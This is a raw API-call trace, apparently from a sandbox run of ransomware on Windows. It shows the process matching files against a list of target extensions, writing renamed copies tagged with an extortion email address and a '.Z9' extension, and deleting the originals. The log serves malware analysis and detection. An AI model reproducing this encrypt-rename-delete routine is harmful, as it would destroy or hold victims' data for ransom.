	[0193.091] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0193.091] lstrlenW (lpString=".dbf") returned 4
	[0193.091] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0193.091] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0193.091] lstrlenW (lpString=".1cd") returned 4
	[0193.091] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0193.091] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0193.091] lstrlenW (lpString=".jpg") returned 4
	[0193.091] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0193.091] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0193.091] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0193.091] lstrlenW (lpString=".doc") returned 4
	[0193.091] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0193.091] lstrlenW (lpString=".docx") returned 5
	[0193.091] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1
	[0193.091] lstrlenW (lpString=".pdf") returned 4
	[0193.091] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0193.091] lstrlenW (lpString=".xls") returned 4
	[0193.091] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0193.092] lstrlenW (lpString=".xlsx") returned 5
	[0193.092] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1
	[0193.092] lstrlenW (lpString=".ppt") returned 4
	[0193.092] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0193.092] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0193.092] lstrlenW (lpString=".zip") returned 4
	[0193.092] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0193.092] lstrlenW (lpString=".rar") returned 4
	[0193.092] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0193.092] lstrlenW (lpString=".bz2") returned 4
	[0193.093] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0193.093] lstrlenW (lpString=".7z") returned 3
	[0193.093] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0193.093] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0193.093] lstrlenW (lpString=".dbf") returned 4
	[0193.093] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0193.093] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0193.093] lstrlenW (lpString=".1cd") returned 4
	[0193.093] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0193.093] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0193.093] lstrlenW (lpString=".jpg") returned 4
	[0193.093] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0193.093] lstrcmpiW (lpString1=".ttf", lpString2=".Z9") returned -1
	[0193.093] lstrlenW (lpString="LucidaTypewriterRegular.ttf") returned 27
	[0193.093] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0193.233] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=242700) returned 1
	[0193.233] CloseHandle (hObject=0x374) returned 1
	[0193.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf")) returned 0x20
	[0193.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0193.233] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0193.233] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.234] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.234] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0193.235] GetLastError () returned 0x0
	[0193.235] ReadFile (in: hFile=0x374, lpBuffer=0x3b42020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efecc, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesRead=0x30efecc*=0x3b40c, lpOverlapped=0x0) returned 1
	[0193.243] WriteFile (in: hFile=0x344, lpBuffer=0x3b42020*, nNumberOfBytesToWrite=0x3b410, lpNumberOfBytesWritten=0x30efc94, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesWritten=0x30efc94*=0x3b410, lpOverlapped=0x0) returned 1
	[0193.247] ReadFile (in: hFile=0x374, lpBuffer=0x3b42020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efecc, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesRead=0x30efecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.247] WriteFile (in: hFile=0x344, lpBuffer=0x3b42020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x30efc94, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesWritten=0x30efc94*=0x10a, lpOverlapped=0x0) returned 1
	[0193.247] SetEndOfFile (hFile=0x344) returned 1
	[0193.247] CloseHandle (hObject=0x344) returned 1
	[0193.248] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.248] SetEndOfFile (hFile=0x374) returned 1
	[0193.250] CloseHandle (hObject=0x374) returned 1
	[0193.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0193.250] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf")) returned 1
	[0193.251] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0193.251] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0193.251] lstrlenW (lpString=".doc") returned 4
	[0193.251] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0193.251] lstrlenW (lpString=".docx") returned 5
	[0193.251] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1
	[0193.251] lstrlenW (lpString=".pdf") returned 4
	[0193.251] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0193.251] lstrlenW (lpString=".xls") returned 4
	[0193.251] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0193.251] lstrlenW (lpString=".xlsx") returned 5
	[0193.251] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1
	[0193.251] lstrlenW (lpString=".ppt") returned 4
	[0193.251] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0193.251] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0193.251] lstrlenW (lpString=".zip") returned 4
	[0193.252] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0193.252] lstrlenW (lpString=".rar") returned 4
	[0193.252] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0193.252] lstrlenW (lpString=".bz2") returned 4
	[0193.252] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0193.252] lstrlenW (lpString=".7z") returned 3
	[0193.252] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0193.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0193.252] lstrlenW (lpString=".dbf") returned 4
	[0193.252] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0193.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0193.252] lstrlenW (lpString=".1cd") returned 4
	[0193.252] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0193.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0193.252] lstrlenW (lpString=".jpg") returned 4
	[0193.252] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0193.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0193.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0193.252] lstrlenW (lpString=".doc") returned 4
	[0193.252] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0193.252] lstrlenW (lpString=".docx") returned 5
	[0193.252] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1
	[0193.252] lstrlenW (lpString=".pdf") returned 4
	[0193.252] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0193.252] lstrlenW (lpString=".xls") returned 4
	[0193.252] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0193.253] lstrlenW (lpString=".xlsx") returned 5
	[0193.253] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1
	[0193.253] lstrlenW (lpString=".ppt") returned 4
	[0193.253] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0193.253] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0193.253] lstrlenW (lpString=".zip") returned 4
	[0193.253] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0193.253] lstrlenW (lpString=".rar") returned 4
	[0193.253] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0193.253] lstrlenW (lpString=".bz2") returned 4
	[0193.253] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0193.253] lstrlenW (lpString=".7z") returned 3
	[0193.253] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0193.253] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0193.253] lstrlenW (lpString=".dbf") returned 4
	[0193.254] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0193.254] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0193.254] lstrlenW (lpString=".1cd") returned 4
	[0193.254] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0193.254] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0193.254] lstrlenW (lpString=".jpg") returned 4
	[0193.254] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0193.254] lstrcmpiW (lpString1=".properties", lpString2=".Z9") returned -1
	[0193.254] lstrlenW (lpString="hijrah-config-umalqura.properties") returned 33
	[0193.254] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0193.254] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=13962) returned 1
	[0193.254] CloseHandle (hObject=0x374) returned 1
	[0193.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties")) returned 0x20
	[0193.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0193.254] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0193.255] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.255] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.255] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0193.255] GetLastError () returned 0x0
	[0193.256] ReadFile (in: hFile=0x374, lpBuffer=0x3b42020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efecc, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesRead=0x30efecc*=0x368a, lpOverlapped=0x0) returned 1
	[0193.257] WriteFile (in: hFile=0x344, lpBuffer=0x3b42020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x30efc94, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesWritten=0x30efc94*=0x3690, lpOverlapped=0x0) returned 1
	[0193.258] ReadFile (in: hFile=0x374, lpBuffer=0x3b42020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efecc, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesRead=0x30efecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.258] WriteFile (in: hFile=0x344, lpBuffer=0x3b42020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x30efc94, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesWritten=0x30efc94*=0x116, lpOverlapped=0x0) returned 1
	[0193.258] SetEndOfFile (hFile=0x344) returned 1
	[0193.258] CloseHandle (hObject=0x344) returned 1
	[0193.258] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.258] SetEndOfFile (hFile=0x374) returned 1
	[0193.259] CloseHandle (hObject=0x374) returned 1
	[0193.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0193.259] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties")) returned 1
	[0193.260] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0193.260] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0193.260] lstrlenW (lpString=".doc") returned 4
	[0193.260] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0193.260] lstrlenW (lpString=".docx") returned 5
	[0193.260] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0193.260] lstrlenW (lpString=".pdf") returned 4
	[0193.260] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0193.260] lstrlenW (lpString=".xls") returned 4
	[0193.260] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0193.260] lstrlenW (lpString=".xlsx") returned 5
	[0193.260] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0193.260] lstrlenW (lpString=".ppt") returned 4
	[0193.260] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0193.260] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0193.260] lstrlenW (lpString=".zip") returned 4
	[0193.260] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0193.260] lstrlenW (lpString=".rar") returned 4
	[0193.260] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0193.260] lstrlenW (lpString=".bz2") returned 4
	[0193.260] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0193.260] lstrlenW (lpString=".7z") returned 3
	[0193.260] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0193.260] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0193.260] lstrlenW (lpString=".dbf") returned 4
	[0193.260] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0193.260] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0193.260] lstrlenW (lpString=".1cd") returned 4
	[0193.260] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0193.261] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0193.261] lstrlenW (lpString=".jpg") returned 4
	[0193.261] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0193.261] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0193.261] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0193.261] lstrlenW (lpString=".doc") returned 4
	[0193.261] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0193.261] lstrlenW (lpString=".docx") returned 5
	[0193.261] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0193.261] lstrlenW (lpString=".pdf") returned 4
	[0193.261] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0193.261] lstrlenW (lpString=".xls") returned 4
	[0193.261] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0193.261] lstrlenW (lpString=".xlsx") returned 5
	[0193.261] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0193.261] lstrlenW (lpString=".ppt") returned 4
	[0193.261] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0193.261] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0193.261] lstrlenW (lpString=".zip") returned 4
	[0193.261] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0193.261] lstrlenW (lpString=".rar") returned 4
	[0193.261] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0193.261] lstrlenW (lpString=".bz2") returned 4
	[0193.261] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0193.261] lstrlenW (lpString=".7z") returned 3
	[0193.261] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0193.261] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0193.261] lstrlenW (lpString=".dbf") returned 4
	[0193.261] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0193.261] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0193.261] lstrlenW (lpString=".1cd") returned 4
	[0193.261] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0193.261] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0193.261] lstrlenW (lpString=".jpg") returned 4
	[0193.261] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0193.262] lstrcmpiW (lpString1=".properties", lpString2=".Z9") returned -1
	[0193.262] lstrlenW (lpString="cursors.properties") returned 18
	[0193.262] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0193.262] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=1280) returned 1
	[0193.262] CloseHandle (hObject=0x374) returned 1
	[0193.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties")) returned 0x20
	[0193.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0193.262] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0193.262] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.262] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.262] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0193.263] GetLastError () returned 0x0
	[0193.263] ReadFile (in: hFile=0x374, lpBuffer=0x3b42020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efecc, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesRead=0x30efecc*=0x500, lpOverlapped=0x0) returned 1
	[0193.264] WriteFile (in: hFile=0x344, lpBuffer=0x3b42020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x30efc94, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesWritten=0x30efc94*=0x510, lpOverlapped=0x0) returned 1
	[0193.265] ReadFile (in: hFile=0x374, lpBuffer=0x3b42020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efecc, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesRead=0x30efecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.265] WriteFile (in: hFile=0x344, lpBuffer=0x3b42020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x30efc94, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesWritten=0x30efc94*=0xf8, lpOverlapped=0x0) returned 1
	[0193.265] SetEndOfFile (hFile=0x344) returned 1
	[0193.265] CloseHandle (hObject=0x344) returned 1
	[0193.265] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.265] SetEndOfFile (hFile=0x374) returned 1
	[0193.266] CloseHandle (hObject=0x374) returned 1
	[0193.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0193.266] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties")) returned 1
	[0193.308] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0193.308] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0193.308] lstrlenW (lpString=".doc") returned 4
	[0193.308] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0193.308] lstrlenW (lpString=".docx") returned 5
	[0193.308] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0193.308] lstrlenW (lpString=".pdf") returned 4
	[0193.308] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0193.308] lstrlenW (lpString=".xls") returned 4
	[0193.308] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0193.308] lstrlenW (lpString=".xlsx") returned 5
	[0193.308] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0193.308] lstrlenW (lpString=".ppt") returned 4
	[0193.308] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0193.308] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0193.308] lstrlenW (lpString=".zip") returned 4
	[0193.308] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0193.308] lstrlenW (lpString=".rar") returned 4
	[0193.308] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0193.308] lstrlenW (lpString=".bz2") returned 4
	[0193.308] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0193.308] lstrlenW (lpString=".7z") returned 3
	[0193.308] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
